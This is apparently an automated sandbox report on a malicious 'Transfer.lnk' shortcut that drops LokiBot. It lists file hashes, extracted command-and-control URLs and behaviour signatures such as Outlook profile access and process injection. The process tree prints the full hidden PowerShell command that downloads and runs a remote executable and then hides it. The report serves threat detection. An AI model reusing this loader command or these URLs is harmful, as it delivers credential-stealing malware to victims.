Analysis
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max time kernel
147s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
04-10-2024 09:05
Static task
static1
Behavioral task
behavioral1
Sample
Transfer.lnk
Resource
win7-20240903-en
General
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Target
Transfer.lnk
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Size
2KB
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MD5
91942241d7a3553d62fa9f06cb71b217
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SHA1
d538b884fd46b75f9ffb995b91f6616738560618
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SHA256
ab59f8b9b018b923720f29e36410d0f0dd5993e650df92c5724d3d338df1c894
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SHA512
a443a0d6a85be71c3ce314c61ac205e2a2bc2d387eccc358633526716bd300c0ffeef056d8e0f55d3a2ad0c3626e6e5a6c03cb17d1a5bdef0acd63754b4e4210
Malware Config
Extracted
https://www.sodiumlaurethsulfatedesyroyer.com/jlow/sfdkavhbsfvhahlbfabreaireuafrgfyarfdkabrbfvakysrgfea/zdhkbgualsbifbAFRAWYEGFYAUGEYGywefafaer/nezfdio.exe
Extracted
lokibot
http://freighteightonecam.sytes.net/ndifygidj/five/fre.php
http://kbfvzoboss.bid/alien/fre.php
http://alphastand.trade/alien/fre.php
http://alphastand.win/alien/fre.php
http://alphastand.top/alien/fre.php
Signatures
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Blocklisted process makes network request 1 IoCs
flow pid Process 7 4744 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4744 powershell.exe -
Downloads MZ/PE file
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation cmd.exe -
Executes dropped EXE 4 IoCs
pid Process 4968 Ojtjewi.exe 3568 Ojtjewi.exe 4800 Ojtjewi.exe 4792 Ojtjewi.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook Ojtjewi.exe Key opened \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook Ojtjewi.exe Key opened \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook Ojtjewi.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 4968 set thread context of 3568 4968 Ojtjewi.exe 85 PID 4968 set thread context of 4800 4968 Ojtjewi.exe 86 PID 4968 set thread context of 4792 4968 Ojtjewi.exe 87 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Ojtjewi.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Ojtjewi.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4744 powershell.exe 4744 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 4744 powershell.exe Token: SeDebugPrivilege 4968 Ojtjewi.exe Token: SeDebugPrivilege 3568 Ojtjewi.exe -
Suspicious use of WriteProcessMemory 32 IoCs
description pid Process procid_target PID 2600 wrote to memory of 4744 2600 cmd.exe 83 PID 2600 wrote to memory of 4744 2600 cmd.exe 83 PID 4744 wrote to memory of 4968 4744 powershell.exe 84 PID 4744 wrote to memory of 4968 4744 powershell.exe 84 PID 4744 wrote to memory of 4968 4744 powershell.exe 84 PID 4968 wrote to memory of 3568 4968 Ojtjewi.exe 85 PID 4968 wrote to memory of 3568 4968 Ojtjewi.exe 85 PID 4968 wrote to memory of 3568 4968 Ojtjewi.exe 85 PID 4968 wrote to memory of 3568 4968 Ojtjewi.exe 85 PID 4968 wrote to memory of 3568 4968 Ojtjewi.exe 85 PID 4968 wrote to memory of 3568 4968 Ojtjewi.exe 85 PID 4968 wrote to memory of 3568 4968 Ojtjewi.exe 85 PID 4968 wrote to memory of 3568 4968 Ojtjewi.exe 85 PID 4968 wrote to memory of 3568 4968 Ojtjewi.exe 85 PID 4968 wrote to memory of 4800 4968 Ojtjewi.exe 86 PID 4968 wrote to memory of 4800 4968 Ojtjewi.exe 86 PID 4968 wrote to memory of 4800 4968 Ojtjewi.exe 86 PID 4968 wrote to memory of 4800 4968 Ojtjewi.exe 86 PID 4968 wrote to memory of 4800 4968 Ojtjewi.exe 86 PID 4968 wrote to memory of 4800 4968 Ojtjewi.exe 86 PID 4968 wrote to memory of 4800 4968 Ojtjewi.exe 86 PID 4968 wrote to memory of 4800 4968 Ojtjewi.exe 86 PID 4968 wrote to memory of 4800 4968 Ojtjewi.exe 86 PID 4968 wrote to memory of 4792 4968 Ojtjewi.exe 87 PID 4968 wrote to memory of 4792 4968 Ojtjewi.exe 87 PID 4968 wrote to memory of 4792 4968 Ojtjewi.exe 87 PID 4968 wrote to memory of 4792 4968 Ojtjewi.exe 87 PID 4968 wrote to memory of 4792 4968 Ojtjewi.exe 87 PID 4968 wrote to memory of 4792 4968 Ojtjewi.exe 87 PID 4968 wrote to memory of 4792 4968 Ojtjewi.exe 87 PID 4968 wrote to memory of 4792 4968 Ojtjewi.exe 87 PID 4968 wrote to memory of 4792 4968 Ojtjewi.exe 87 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook Ojtjewi.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook Ojtjewi.exe
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Transfer.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2600 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle hidDEn Hiddden -Command OpenWith.exe;(new-object System.Net.WebClient).DownloadFile('https://www.sodiumlaurethsulfatedesyroyer.com/jlow/sfdkavhbsfvhahlbfabreaireuafrgfyarfdkabrbfvakysrgfea/zdhkbgualsbifbAFRAWYEGFYAUGEYGywefafaer/nezfdio.exe','Ojtjewi.exe');./'Ojtjewi.exe';(get-item 'Ojtjewi.exe').Attributes += 'Hidden';2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4744 -
C:\Users\Admin\AppData\Local\Temp\Ojtjewi.exe"C:\Users\Admin\AppData\Local\Temp\Ojtjewi.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4968 -
C:\Users\Admin\AppData\Local\Temp\Ojtjewi.exeC:\Users\Admin\AppData\Local\Temp\Ojtjewi.exe4⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:3568
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C:\Users\Admin\AppData\Local\Temp\Ojtjewi.exeC:\Users\Admin\AppData\Local\Temp\Ojtjewi.exe4⤵
- Executes dropped EXE
PID:4800
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C:\Users\Admin\AppData\Local\Temp\Ojtjewi.exeC:\Users\Admin\AppData\Local\Temp\Ojtjewi.exe4⤵
- Executes dropped EXE
PID:4792
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
377KB
MD56746fbb343ddec70416177f77ef83c2a
SHA113a2698094e6513427c06721df1cc5de2132d5f4
SHA2565b82fc5190c0d6644a7eabdf20be1dfdd96d7d8a46d3c329ba2a48b96f7e26e6
SHA5124106edbf6a07e209045bdce8286f9cb5c9983afb21551419c32228a4eb1e87c57c88cb7615c67a263d036a892edab1cc6d4f46e33116f65c4405955a7e8cc3a4
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1194130065-3471212556-1656947724-1000\0f5007522459c86e95ffcc62f32308f1_a53bb4ca-6113-48bb-9609-441860fdd0d7
Filesize46B
MD5d898504a722bff1524134c6ab6a5eaa5
SHA1e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
SHA256878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
SHA51226a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61
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C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1194130065-3471212556-1656947724-1000\0f5007522459c86e95ffcc62f32308f1_a53bb4ca-6113-48bb-9609-441860fdd0d7
Filesize46B
MD5c07225d4e7d01d31042965f048728a0a
SHA169d70b340fd9f44c89adb9a2278df84faa9906b7
SHA2568c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
SHA51223d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b